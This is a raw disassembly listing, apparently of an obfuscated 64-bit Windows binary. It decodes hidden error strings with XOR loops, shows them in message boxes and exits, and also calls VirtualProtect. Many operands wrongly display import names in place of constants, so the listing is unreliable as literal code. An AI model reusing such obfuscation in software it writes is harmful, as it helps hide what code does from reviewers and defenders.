lea r9, [rbp + 0xe7c]
mov r8d, dword [rbp + 0xe7c]
mov edx, 0x1000
mov rdi, qword [rbp - 0x50]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400c97b0
lea edx, [r12 - 0x15]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor r9d, r9d
mov dword [0x14010d364], r9d
mov eax, dword [rsp + 0x70]
jmp 0x140040a10
mov dword [rbp + 0xb80], 0xcc362114
mov dword [rbp + 0xb84], 0xe1dd9c95
mov word [rbp + 0xb88], 0xf210
mov r9, rbx
mov r8d, 9
mov dl, r12b
lea rcx, [rbp + 0xb80]
call fcn.1400429f8
mov byte [rbp + 0xb8a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x57
lea rcx, [rbp + 0xb80]
call fcn.1400429f8
mov byte [rbp + 0xb8b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0xb80]
call fcn.1400429f8
mov byte [rbp + 0xb8c], al
mov r9, rbx
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0xb80]
call fcn.1400429f8
mov byte [rbp + 0xb8d], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, WSAGetLastError
lea rcx, [rbp + 0xb80]
call fcn.1400429f8
mov byte [rbp + 0xb8e], al
mov r9, rbx
mov r8d, select
mov dl, 0x69
lea rcx, [rbp + 0xb80]
call fcn.1400429f8
mov byte [rbp + 0xb8f], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAGetLastError
lea rcx, [rbp + 0xb80]
call fcn.1400429f8
mov byte [rbp + 0xb90], al
mov r9, rbx
mov r8, r13
mov dl, 0x67
lea rcx, [rbp + 0xb80]
call fcn.1400429f8
mov byte [rbp + 0xb91], al
xor eax, eax
mov byte [rbp + 0xb92], al
xor r10d, r10d
mov r8d, r10d
mov r9, rbx
lea r11d, [rax + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xb80]
add eax, r11d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb80]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb81], dil
add r8, r11
add r9, rbx
cmp r9, 0x132
jb 0x140040fd8
xor r10d, r10d
mov byte [rbp + 0xb92], r10b
mov dword [rbp + 0xb98], 0x7c6d6520
mov dword [rbp + 0xb9c], 0x69348272
mov dword [rbp + 0xba0], 0x2c95b3b7
lea edi, [r10 + 0x18]
mov r9d, edi
lea r8d, [r10 + 0xb]
mov dl, 0x6c
lea rcx, [rbp + 0xb98]
call fcn.140043de8
mov byte [rbp + 0xba4], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x65
lea rcx, [rbp + 0xb98]
call fcn.140043de8
mov byte [rbp + 0xba5], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, 0x61
lea rcx, [rbp + 0xb98]
call fcn.140043de8
mov byte [rbp + 0xba6], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAGetLastError
lea rcx, [rbp + 0xb98]
call fcn.140043de8
mov byte [rbp + 0xba7], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x75
lea rcx, [rbp + 0xb98]
call fcn.140043de8
mov byte [rbp + 0xba8], al
mov r9d, edi
mov r8, r13
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xb98]
call fcn.140043de8
mov byte [rbp + 0xba9], al
mov r9d, edi
mov r8, rbx
mov dl, r12b
lea rcx, [rbp + 0xb98]
call fcn.140043de8
mov byte [rbp + 0xbaa], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, 0x49
lea rcx, [rbp + 0xb98]
call fcn.140043de8
mov byte [rbp + 0xbab], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, 0x6d
lea rcx, [rbp + 0xb98]
call fcn.140043de8
mov byte [rbp + 0xbac], al
mov r9d, edi
mov r8, rsi
mov dl, 0x61
lea rcx, [rbp + 0xb98]
call fcn.140043de8
mov byte [rbp + 0xbad], al
mov r9d, edi
mov r8, r14
mov dl, 0x67
lea rcx, [rbp + 0xb98]
call fcn.140043de8
mov byte [rbp + 0xbae], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x65
lea rcx, [rbp + 0xb98]
call fcn.140043de8
mov byte [rbp + 0xbaf], al
mov r9d, edi
mov r8, r15
mov dl, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0xb98]
call fcn.140043de8
mov byte [rbp + 0xbb0], al
xor eax, eax
mov byte [rbp + 0xbb1], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x17]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xb98]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x18]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xb98]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xb99], dil
add r8, rbx
add r9, 0x18
cmp r9, 0x258
jb 0x1400411ee
mov byte [rbp + 0xbb1], r10b
xor r9d, r9d
lea r8, [rbp + 0xb81]
lea rdx, [rbp + 0xb99]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
mov dword [rbp + 0xa00], 0x76e31a7a
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa00]
call fcn.1400429f8
mov byte [rbp + 0xa04], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0xa00]
call fcn.1400429f8
mov byte [rbp + 0xa05], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xa00]
call fcn.1400429f8
mov byte [rbp + 0xa06], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0xa00]
call fcn.1400429f8
mov byte [rbp + 0xa07], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0xa00]
call fcn.1400429f8
mov byte [rbp + 0xa08], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xa00]
call fcn.1400429f8
mov byte [rbp + 0xa09], al
mov r9, rbx
mov r8d, 9
mov dl, r12b
lea rcx, [rbp + 0xa00]
call fcn.1400429f8
mov byte [rbp + 0xa0a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0xa00]
call fcn.1400429f8
mov byte [rbp + 0xa0b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0xa00]
call fcn.1400429f8
mov byte [rbp + 0xa0c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0xa00]
call fcn.1400429f8
mov byte [rbp + 0xa0d], al
mov r9, rbx
mov r15d, reloc.WS2_32.dll_listen
mov r8d, r15d
mov dl, 0x6c
lea rcx, [rbp + 0xa00]
call fcn.1400429f8
mov byte [rbp + 0xa0e], al
mov r9, rbx
lea r8d, [r15 + 1]
mov dl, 0x75
lea rcx, [rbp + 0xa00]
call fcn.1400429f8
mov byte [rbp + 0xa0f], al
mov r9, rbx
lea r8d, [r15 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0xa00]
call fcn.1400429f8
mov byte [rbp + 0xa10], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0xa00]
call fcn.1400429f8
mov byte [rbp + 0xa11], al
xor eax, eax
mov byte [rbp + 0xa12], al
mov r8d, eax
mov r9, rbx
lea r10d, [r15 - 0xc]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xa00]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xa00]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xa01], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x140041440
xor edi, edi
mov byte [rbp + 0xa12], dil
mov dword [rbp + 0xaf0], 0xbbc11662
mov r9, r14
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xaf4], al
mov r9, r14
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xaf5], al
mov r9, r14
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xaf6], al
mov r9, r14
lea r8d, [rdi + 6]
mov dl, r12b
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xaf7], al
mov r9, r14
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xaf8], al
mov r9, r14
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xaf9], al
mov r9, r14
lea r8d, [rdi + 9]
mov dl, r12b
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xafa], al
mov r9, r14
lea r8d, [rdi + 0xa]
mov dl, 0x53
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xafb], al
mov r9, r14
lea r8d, [rdi + 0xb]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xafc], al
mov r9, r14
lea r8d, [rdi + 0xc]
mov dl, 0x61
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xafd], al
mov r9, r14
mov r8, r15
mov dl, WSAStartup
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xafe], al
mov r9, r14
lea r8d, [rdi + 0xe]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xaff], al
mov r9, r14
lea r8d, [rdi + 0xf]
mov dl, r12b
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xb00], al
mov r9, r14
mov r8, r13
mov dl, 0x49
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xb01], al
mov r9, r14
mov r8, rbx
mov dl, 0x6d
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xb02], al
mov r9, r14
lea r8d, [rdi + 0x12]
mov dl, 0x61
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xb03], al
mov r9, r14
lea r8d, [rdi + 0x13]
mov dl, 0x67
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xb04], al
mov r9, r14
mov r8, rsi
mov dl, 0x65
lea rcx, [rbp + 0xaf0]
call fcn.140042ae8
mov byte [rbp + 0xb05], al
xor eax, eax
mov byte [rbp + 0xb06], al
mov r8d, edi
mov r9, r14
lea ebx, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0xaf0]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x15]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xaf0]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xaf1], dil
add r8, rbx
add r9, r14
cmp r9, 0x1ce
jb 0x1400416c4
xor eax, eax
mov byte [rbp + 0xb06], al
xor r9d, r9d
lea r8, [rbp + 0xa01]
lea rdx, [rbp + 0xaf1]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
mov word [rbp + 0x428], 0xff35
mov r9, rbx
mov r8, rcx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x428]
call fcn.1400429f8
mov byte [rbp + 0x42a], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x428]
call fcn.1400429f8
mov byte [rbp + 0x42b], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x428]
call fcn.1400429f8
mov byte [rbp + 0x42c], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x428]
call fcn.1400429f8
mov byte [rbp + 0x42d], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x428]
call fcn.1400429f8
mov byte [rbp + 0x42e], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x428]
call fcn.1400429f8
mov byte [rbp + 0x42f], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x428]
call fcn.1400429f8
mov byte [rbp + 0x430], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x428]
call fcn.1400429f8
mov byte [rbp + 0x431], al
mov r9, rbx
mov r8d, 9
mov dl, r12b
lea rcx, [rbp + 0x428]
call fcn.1400429f8
mov byte [rbp + 0x432], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x428]
call fcn.1400429f8
mov byte [rbp + 0x433], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x428]
call fcn.1400429f8
mov byte [rbp + 0x434], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x428]
call fcn.1400429f8
mov byte [rbp + 0x435], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x428]
call fcn.1400429f8
mov byte [rbp + 0x436], al
mov r9, rbx
mov r8d, select
mov dl, 0x75
lea rcx, [rbp + 0x428]
call fcn.1400429f8
mov byte [rbp + 0x437], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0x428]
call fcn.1400429f8
mov byte [rbp + 0x438], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x428]
call fcn.1400429f8
mov byte [rbp + 0x439], al
xor eax, eax
mov byte [rbp + 0x43a], al
mov r8, rdi
mov r9, rbx
lea r10d, [rax + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x428]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x428]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x429], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x14004194d
xor eax, eax
mov byte [rbp + 0x43a], al
mov word [rbp + 0x810], 0x793b
lea edi, [rax + 0x1a]
mov r9d, edi
mov r8, r10
mov dl, 0x61
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x812], al
mov r9d, edi
lea r8d, [rdi - 0x18]
mov dl, 0x69
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x813], al
mov r9d, edi
lea r8d, [rdi - 0x17]
mov dl, 0x6c
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x814], al
mov r9d, edi
lea r8d, [rdi - 0x16]
mov dl, 0x65
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x815], al
mov r9d, edi
lea r8d, [rdi - 0x15]
mov dl, 0x64
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x816], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, r12b
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x817], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x818], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x819], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, r12b
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x81a], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x4d
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x81b], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x61
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x81c], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x81d], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, r12b
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x81e], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x53
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x81f], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x820], al
mov r9d, edi
mov r8, r13
mov dl, 0x61
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x821], al
mov r9d, edi
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x822], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x823], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x75
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x824], al
mov r9d, edi
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x825], al
mov r9d, edi
mov r8, r14
mov dl, r12b
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x826], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x49
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x827], al
mov r9d, edi
mov r8, r15
mov dl, WSAGetLastError
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x828], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x66
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x829], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x810]
call fcn.140043edc
mov byte [rbp + 0x82a], al
xor eax, eax
mov byte [rbp + 0x82b], al
xor r10d, r10d
mov r8d, r10d
mov r9d, edi
lea ebx, [rdi - 0x19]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x810]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x1a]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x810]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x811], dil
add r8, rbx
add r9, 0x1a
cmp r9, 0x2be
jb 0x140041c91
mov byte [rbp + 0x82b], r10b
xor r9d, r9d
lea r8, [rbp + 0x429]
lea rdx, [rbp + 0x811]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
mov byte [rbp + 0x230], Ordinal_79
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x231], al
mov r9, rbx
mov r8d, 1
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x232], al
mov r9, rbx
mov r8d, 2
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x233], al
mov r9, rbx
mov r8d, 3
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x234], al
mov r9, rbx
mov r8d, 4
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x235], al
mov r9, rbx
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x236], al
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x237], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x238], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x239], al
mov r9, rbx
mov r8d, 9
mov dl, r12b
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x23a], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x46
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x23b], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x23c], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x69
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x23d], al
mov r9, rbx
mov r14d, reloc.WS2_32.dll_listen
mov r8d, r14d
mov dl, 0x6c
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x23e], al
mov r9, rbx
lea r8d, [r14 + 1]
mov dl, 0x75
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x23f], al
mov r9, rbx
lea r8d, [r14 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x240], al
mov r9, rbx
mov r8, r13
mov dl, 0x65
lea rcx, [rbp + 0x230]
call fcn.1400429f8
mov byte [rbp + 0x241], al
xor eax, eax
mov byte [rbp + 0x242], al
mov r8d, eax
mov r9, rbx
lea r10d, [r14 - 0xc]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x230]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x230]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x231], dil
add r8, r10
add r9, rbx
cmp r9, 0x132
jb 0x140041f34
xor edi, edi
mov byte [rbp + 0x242], dil
mov word [rbp + 0x798], 0x4f0b
mov r9, r15
mov r8, r10
mov dl, 0x61
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x79a], al
mov r9, r15
lea r8d, [rdi + 2]
mov dl, 0x69
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x79b], al
mov r9, r15
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x79c], al
mov r9, r15
lea r8d, [rdi + 4]
mov dl, 0x65
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x79d], al
mov r9, r15
lea r8d, [rdi + 5]
mov dl, 0x64
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x79e], al
mov r9, r15
lea r8d, [rdi + 6]
mov dl, r12b
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x79f], al
mov r9, r15
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x7a0], al
mov r9, r15
lea r8d, [rdi + 8]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x7a1], al
mov r9, r15
lea r8d, [rdi + 9]
mov dl, r12b
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x7a2], al
mov r9, r15
lea r8d, [rdi + 0xa]
mov dl, 0x51
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x7a3], al
mov r9, r15
lea r8d, [rdi + 0xb]
mov dl, 0x75
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x7a4], al
mov r9, r15
lea r8d, [rdi + 0xc]
mov dl, 0x65
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x7a5], al
mov r9, r15
mov r8, r14
mov dl, WSAStartup
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x7a6], al
mov r9, r15
lea r8d, [rdi + 0xe]
mov dl, 0x79
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x7a7], al
mov r9, r15
lea r8d, [rdi + 0xf]
mov dl, r12b
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x7a8], al
mov r9, r15
mov r8, r13
mov dl, 0x50
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x7a9], al
mov r9, r15
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x7aa], al
mov r9, r15
lea r8d, [rdi + 0x12]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x7ab], al
mov r9, r15
lea r8d, [rdi + 0x13]
mov dl, 0x63
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x7ac], al
mov r9, r15
mov r8, rsi
mov dl, 0x65
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x7ad], al
mov r9, r15
lea r8d, [rdi + 0x15]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x7ae], al
mov r9, r15
lea r8d, [rdi + 0x16]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x798]
call fcn.140042d44
mov byte [rbp + 0x7af], al
xor eax, eax
mov byte [rbp + 0x7b0], al
mov r8d, edi
mov r9, r15
lea ebx, [rdi + 1]
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x798]
add eax, ebx
movsxd rdi, eax
lea rax, [r8 + 0x17]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x798]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x799], dil
add r8, rbx
add r9, r15
cmp r9, 0x228
jb 0x140042222
xor eax, eax
mov byte [rbp + 0x7b0], al
xor r9d, r9d
lea r8, [rbp + 0x231]
lea rdx, [rbp + 0x799]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.1400a8858
int3
mov byte [rbp + 0x338], 0x44
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
